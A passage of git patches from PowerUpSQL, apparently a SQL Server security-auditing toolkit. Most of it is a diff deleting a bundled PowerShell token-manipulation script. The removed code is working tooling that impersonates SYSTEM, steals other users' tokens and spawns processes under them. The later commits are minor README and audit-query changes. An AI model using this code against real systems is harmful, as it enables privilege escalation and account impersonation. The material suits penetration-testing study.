- $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode" - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer) - $UsernameBuffer = [IntPtr]::Zero - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer) - $DomainBuffer = [IntPtr]::Zero - } - - $ReturnObj = New-Object PSObject - $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain - $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username - $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken - $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType - - - #Query additional info about the token such as if it is elevated - $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false - - $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION) - $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" - } - else - { - $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION) - if ($TokenElevation.TokenIsElevated -ne 0) - { - $ReturnObj.IsElevated = $true - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr) - - - #Query the token type to determine if the token is a primary or impersonation token - $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve" - - [UInt32]$TokenTypeSize = 4 - [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" - } - else - { - [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32]) - switch($TokenType) - { - 1 {$ReturnObj.TokenType = "Primary"} - 2 {$ReturnObj.TokenType = "Impersonation"} - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) - - - #Query the impersonation level if the token is an Impersonation token - if ($ReturnObj.TokenType -ieq "Impersonation") - { - $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve" - - [UInt32]$ImpersonationLevelSize = 4 - [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32 - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" - } - else - { - [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32]) - switch ($ImpersonationLevel) - { - 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" } - 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" } - 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" } - 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" } - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr) - } - - - #Query the token sessionid - $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown" - - [UInt32]$TokenSessionIdSize = 4 - [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" - } - else - { - [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32]) - $ReturnObj.SessionID = $TokenSessionId - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr) - - - #Query the token privileges - $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @() - $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @() - - [UInt32]$TokenPrivilegesSize = 1000 - [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize) - [UInt32]$RealSize = 0 - $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" - } - else - { - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) - - #Loop through each privilege - [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) - $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) - for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) - { - $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) - - $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) - - #Lookup privilege name - [UInt32]$PrivilegeNameSize = 60 - $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) - $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid - - $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize" - } - $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr) - - #Get the privilege attributes - $PrivilegeStatus = "" - $Enabled = $false - - if ($LuidAndAttribute.Attributes -eq 0) - { - $Enabled = $false - } - if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default - { - $Enabled = $true - } - if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled - { - $Enabled = $true - } - if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found. - { - Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. " - } - - if ($Enabled) - { - $ReturnObj.PrivilegesEnabled += ,$PrivilegeName - } - else - { - $ReturnObj.PrivilegesAvailable += ,$PrivilegeName - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr) - } - } - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) - - } - else - { - Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)" - } - - #Free LogonSessionData - $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr) - $LogonSessionDataPtr = [IntPtr]::Zero - if ($ntstatus -ne 0) - { - Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus" - } - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) - $LuidPtr = [IntPtr]::Zero - } - - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr) - $TokenStatsPtr = [IntPtr]::Zero - - return $ReturnObj - } - - - #Takes an array of TokenObjects built by the script and returns the unique ones - function Get-UniqueTokens - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [Object[]] - $AllTokens - ) - - $TokenByUser = @{} - $TokenByEnabledPriv = @{} - $TokenByAvailablePriv = @{} - - #Filter tokens by user - foreach ($Token in $AllTokens) - { - $Key = $Token.Domain + "\" + $Token.Username - if (-not $TokenByUser.ContainsKey($Key)) - { - #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because - # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc.. - if ($Token.LogonType -ne 3 -and - $Token.Username -inotmatch "^DWM-\d+$" -and - $Token.Username -inotmatch "^LOCAL\sSERVICE$") - { - $TokenByUser.Add($Key, $Token) - } - } - else - { - #If Tokens have equal elevation levels, compare their privileges. - if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated) - { - if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count)) - { - $TokenByUser[$Key] = $Token - } - } - #If the new token is elevated and the current token isn't, use the new token - elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false)) - { - $TokenByUser[$Key] = $Token - } - } - } - - #Filter tokens by privilege - foreach ($Token in $AllTokens) - { - $Fullname = "$($Token.Domain)\$($Token.Username)" - - #Filter currently enabled privileges - foreach ($Privilege in $Token.PrivilegesEnabled) - { - if ($TokenByEnabledPriv.ContainsKey($Privilege)) - { - if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname) - { - $TokenByEnabledPriv[$Privilege] += ,$Fullname - } - } - else - { - $TokenByEnabledPriv.Add($Privilege, @($Fullname)) - } - } - - #Filter currently available (but not enable) privileges - foreach ($Privilege in $Token.PrivilegesAvailable) - { - if ($TokenByAvailablePriv.ContainsKey($Privilege)) - { - if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname) - { - $TokenByAvailablePriv[$Privilege] += ,$Fullname - } - } - else - { - $TokenByAvailablePriv.Add($Privilege, @($Fullname)) - } - } - } - - $ReturnDict = @{ - TokenByUser = $TokenByUser - TokenByEnabledPriv = $TokenByEnabledPriv - TokenByAvailablePriv = $TokenByAvailablePriv - } - - return (New-Object PSObject -Property $ReturnDict) - } - - - function Invoke-ImpersonateUser - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $hToken - ) - - #Duplicate the token so it can be used to create a new process - [IntPtr]$NewHToken = [IntPtr]::Zero - $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" - } - else - { - $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken) - if (-not $Success) - { - $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" - } - } - - $Success = $CloseHandle.Invoke($NewHToken) - $NewHToken = [IntPtr]::Zero - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" - } - - return $Success - } - - - function Create-ProcessWithToken - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $hToken, - - [Parameter(Position=1, Mandatory=$true)] - [String] - $ProcessName, - - [Parameter(Position=2)] - [String] - $ProcessArgs, - - [Parameter(Position=3)] - [Switch] - $PassThru - ) - Write-Verbose "Entering Create-ProcessWithToken" - #Duplicate the token so it can be used to create a new process - [IntPtr]$NewHToken = [IntPtr]::Zero - $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" - } - else - { - $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) - [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) - $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null - [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct - - $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) - [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) - - $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$ProcessName") - $ProcessArgsPtr = [IntPtr]::Zero - if (-not [String]::IsNullOrEmpty($ProcessArgs)) - { - $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs") - } - - $FunctionName = "" - if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) - { - #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because - #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege - #which is not ideal. - Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token." - Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege - $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) - $FunctionName = "CreateProcessAsUserW" - } - else - { - Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token." - $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) - $FunctionName = "CreateProcessWithTokenW" - } - if ($Success) - { - #Free the handles returned in the ProcessInfo structure - $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) - $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null - $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null - - #Pass created System.Diagnostics.Process object to pipeline - if ($PassThru) { - #Retrieving created System.Diagnostics.Process object - $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId - - #Caching process handle so we don't lose it when the process exits - $null = $returnProcess.Handle - - #Passing System.Diagnostics.Process object to pipeline - $returnProcess - } - } - else - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "$FunctionName failed. Error code: $ErrorCode" - } - - #Free StartupInfo memory and ProcessInfo memory - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) - $StartupInfoPtr = [Intptr]::Zero - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) - $ProcessInfoPtr = [IntPtr]::Zero - [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) - $ProcessNamePtr = [IntPtr]::Zero - - #Close handle for the token duplicated with DuplicateTokenEx - $Success = $CloseHandle.Invoke($NewHToken) - $NewHToken = [IntPtr]::Zero - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" - } - } - } - - - function Free-AllTokens - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [PSObject[]] - $TokenInfoObjs - ) - - foreach ($Obj in $TokenInfoObjs) - { - $Success = $CloseHandle.Invoke($Obj.hToken) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode" - } - $Obj.hToken = [IntPtr]::Zero - } - } - - - #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. - function Enum-AllTokens - { - $AllTokens = @() - - #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. - #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. - #We need to enumrate all processes running as SYSTEM and find one that we can use. - [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value - $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount} - ForEach ($SystemToken in $SystemTokens) - { - $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue - } - if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) - { - Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" - } - - if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero) - { - $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null - $systemTokenInfo = $null - } - - $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} - - #Get all tokens - foreach ($Process in $ProcessIds) - { - $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) - - #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. - if ($PrimaryTokenInfo -ne $null) - { - [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken - - if ($hToken -ne [IntPtr]::Zero) - { - #Get the LUID corrosponding to the logon - $ReturnObj = Get-TokenInformation -hToken $hToken - if ($ReturnObj -ne $null) - { - $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id - - $AllTokens += $ReturnObj - } - } - else - { - Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)" - } - - foreach ($Thread in $Process.Threads) - { - $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id - [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) - - if ($hToken -ne [IntPtr]::Zero) - { - $ReturnObj = Get-TokenInformation -hToken $hToken - if ($ReturnObj -ne $null) - { - $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id - - $AllTokens += $ReturnObj - } - } - } - } - } - - return $AllTokens - } - - - function Invoke-RevertToSelf - { - Param( - [Parameter(Position=0)] - [Switch] - $ShowOutput - ) - - $Success = $RevertToSelf.Invoke() - - if ($ShowOutput) - { - if ($Success) - { - Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" - } - else - { - Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" - } - } - } - - - #Main function - function Main - { - if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) - { - Write-Error "Script must be run as administrator" -ErrorAction Stop - } - - #If running in session 0, force NoUI - if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) - { - Write-Verbose "Running in Session 0, forcing NoUI (processes in Session 0 cannot have a UI)" - $NoUI = $true - } - - if ($PsCmdlet.ParameterSetName -ieq "RevToSelf") - { - Invoke-RevertToSelf -ShowOutput - } - elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") - { - $AllTokens = Enum-AllTokens - - #Select the token to use - [IntPtr]$hToken = [IntPtr]::Zero - $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser - if ($Username -ne $null -and $Username -ne '') - { - if ($UniqueTokens.ContainsKey($Username)) - { - $hToken = $UniqueTokens[$Username].hToken - Write-Verbose "Selecting token by username" - } - else - { - Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop - } - } - elseif ( $ProcessId -ne $null -and $ProcessId -ne 0) - { - foreach ($Token in $AllTokens) - { - if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId) - { - $hToken = $Token.hToken - Write-Verbose "Selecting token by ProcessID" - } - } - - if ($hToken -eq [IntPtr]::Zero) - { - Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop - } - } - elseif ($ThreadId -ne $null -and $ThreadId -ne 0) - { - foreach ($Token in $AllTokens) - { - if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId) - { - $hToken = $Token.hToken - Write-Verbose "Selecting token by ThreadId" - } - } - - if ($hToken -eq [IntPtr]::Zero) - { - Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop - } - } - elseif ($Process -ne $null) - { - foreach ($Token in $AllTokens) - { - if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id) - { - $hToken = $Token.hToken - Write-Verbose "Selecting token by Process object" - } - } - - if ($hToken -eq [IntPtr]::Zero) - { - Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop - } - } - else - { - Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop - } - - #Use the token for the selected action - if ($PsCmdlet.ParameterSetName -ieq "CreateProcess") - { - if (-not $NoUI) - { - Set-DesktopACLs - } - - Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru - - Invoke-RevertToSelf - } - elseif ($ImpersonateUser) - { - Invoke-ImpersonateUser -hToken $hToken | Out-Null - Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" - } - - Free-AllTokens -TokenInfoObjs $AllTokens - } - elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") - { - Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" - } - else #Enumerate tokens - { - $AllTokens = Enum-AllTokens - - if ($PsCmdlet.ParameterSetName -ieq "ShowAll") - { - Write-Output $AllTokens - } - else - { - Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values - } - - Invoke-RevertToSelf - - Free-AllTokens -TokenInfoObjs $AllTokens - } - } - - - #Start the main function - Main -} diff --git a/scripts/3rdparty/README.md b/scripts/3rdparty/README.md deleted file mode 100644 index 7a032df..0000000 --- a/scripts/3rdparty/README.md +++ /dev/null @@ -1,22 +0,0 @@ - ### 3rd Party Scripts - - This folder contains scripts written by other authors which are used by some of the PowerUpSQL functions. Summary below. - - Author: Warren F. (RamblingCookieMonster) - Source: https://github.com/RamblingCookieMonster/Invoke-Parallel - Imported Scripts: Invoke-Parallel.ps1 - PowerUpSQL Functions: Used for threaded functions. - - Author: Kevin Robertson - Source: https://github.com/Kevin-Robertson/Inveigh - Imported Scripts: Inveigh.ps1, Inveigh-BruteForce.ps1, and Inveigh-Relay.ps1 - PowerUpSQL Functions: Used in Invoke-SQLAuditPrivXpDirtree and Invoke-SQLAuditXpPrivFileExist - - Author: Joe Bialek - Source: https://github.com/clymb3r/PowerShell/tree/master/Invoke-TokenManipulation - Imported Scripts: Invoke-TokenManipulation.ps1 - PowerUpSQL Functions: Pending... - - - - diff --git a/scripts/README.md b/scripts/README.md index 504c38c..36b2a3d 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -1,7 +1,23 @@ -### Pending -These are stand alone scripts that will eventually be turned into PowerUpSQL functions. +### Pending Scripts +The scripts in the pending directory are stand alone scripts that will eventually be turned into PowerUpSQL functions. -### 3rd Party Scripts -This folder contains scripts written by other authors which are used by some of the PowerUpSQL functions. +### 3rd Party Functions +PowerUpSQL uses some 3rd party functions written by other authors. Those authors and functions are listed below. +Author: Warren F. (RamblingCookieMonster) +Source: https://github.com/RamblingCookieMonster/Invoke-Parallel +Imported Scripts: Invoke-Parallel.ps1 +PowerUpSQL Functions: Used for threaded functions. + +Author: Kevin Robertson +Source: https://github.com/Kevin-Robertson/Inveigh +Imported Scripts: Inveigh.ps1, Inveigh-BruteForce.ps1, and Inveigh-Relay.ps1 +PowerUpSQL Functions: Used in Invoke-SQLAuditPrivXpDirtree and Invoke-SQLAuditXpPrivFileExist + +Author: Joe Bialek +Source: https://github.com/clymb3r/PowerShell/tree/master/Invoke-TokenManipulation +Imported Scripts: Invoke-TokenManipulation.ps1 + +### Community Contributions +Some PowerUpSQL functions have been written by other authors. Those authors are documented at the beginning of each function and noted on in the primary readme file. If I missed someone please let me know! From 88cfc77d462e5d4bc8654a721adb6affc3f53ed0 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 9 Sep 2017 08:49:19 -0500 Subject: [PATCH 096/145] formatting --- scripts/README.md | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/scripts/README.md b/scripts/README.md index 36b2a3d..7ed2db1 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -4,20 +4,20 @@ The scripts in the pending directory are stand alone scripts that will eventuall ### 3rd Party Functions PowerUpSQL uses some 3rd party functions written by other authors. Those authors and functions are listed below. -Author: Warren F. (RamblingCookieMonster) -Source: https://github.com/RamblingCookieMonster/Invoke-Parallel -Imported Scripts: Invoke-Parallel.ps1 -PowerUpSQL Functions: Used for threaded functions. +Author: Warren F. (RamblingCookieMonster)
+Source: https://github.com/RamblingCookieMonster/Invoke-Parallel
+Imported Scripts: Invoke-Parallel.ps1
+PowerUpSQL Functions: Used for threaded functions.
-Author: Kevin Robertson -Source: https://github.com/Kevin-Robertson/Inveigh -Imported Scripts: Inveigh.ps1, Inveigh-BruteForce.ps1, and Inveigh-Relay.ps1 -PowerUpSQL Functions: Used in Invoke-SQLAuditPrivXpDirtree and Invoke-SQLAuditXpPrivFileExist +Author: Kevin Robertson
+Source: https://github.com/Kevin-Robertson/Inveigh
+Imported Scripts: Inveigh.ps1, Inveigh-BruteForce.ps1, and Inveigh-Relay.ps1
+PowerUpSQL Functions: Used in Invoke-SQLAuditPrivXpDirtree and Invoke-SQLAuditXpPrivFileExist
-Author: Joe Bialek -Source: https://github.com/clymb3r/PowerShell/tree/master/Invoke-TokenManipulation -Imported Scripts: Invoke-TokenManipulation.ps1 +Author: Joe Bialek
+Source: https://github.com/clymb3r/PowerShell/tree/master/Invoke-TokenManipulation
+Imported Scripts: Invoke-TokenManipulation.ps1
-### Community Contributions +### Community Contributions
Some PowerUpSQL functions have been written by other authors. Those authors are documented at the beginning of each function and noted on in the primary readme file. If I missed someone please let me know! From 9c525bc45165b6443bbbcc76a812dcded893e556 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 9 Sep 2017 11:00:37 -0500 Subject: [PATCH 097/145] Add fields to Get-SQLAuditDatabaseSpec Add fields to Get-SQLAuditDatabaseSpec to include object ID and name. --- PowerUpSQL.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 0a79e3c..8f54d2a 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -7170,6 +7170,8 @@ Function Get-SQLAuditDatabaseSpec s.name as [AuditSpecification], d.audit_action_id as [AuditActionId], d.audit_action_name as [AuditAction], + d.major_id, + OBJECT_NAME(d.major_id) as object, s.is_state_enabled, d.is_group, s.create_date, From a17be83d8ff9ce982856538d159719670e10df4f Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 9 Sep 2017 11:01:26 -0500 Subject: [PATCH 098/145] Update version Update version --- PowerUpSQL.ps1 | 2 +- PowerUpSQL.psd1 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 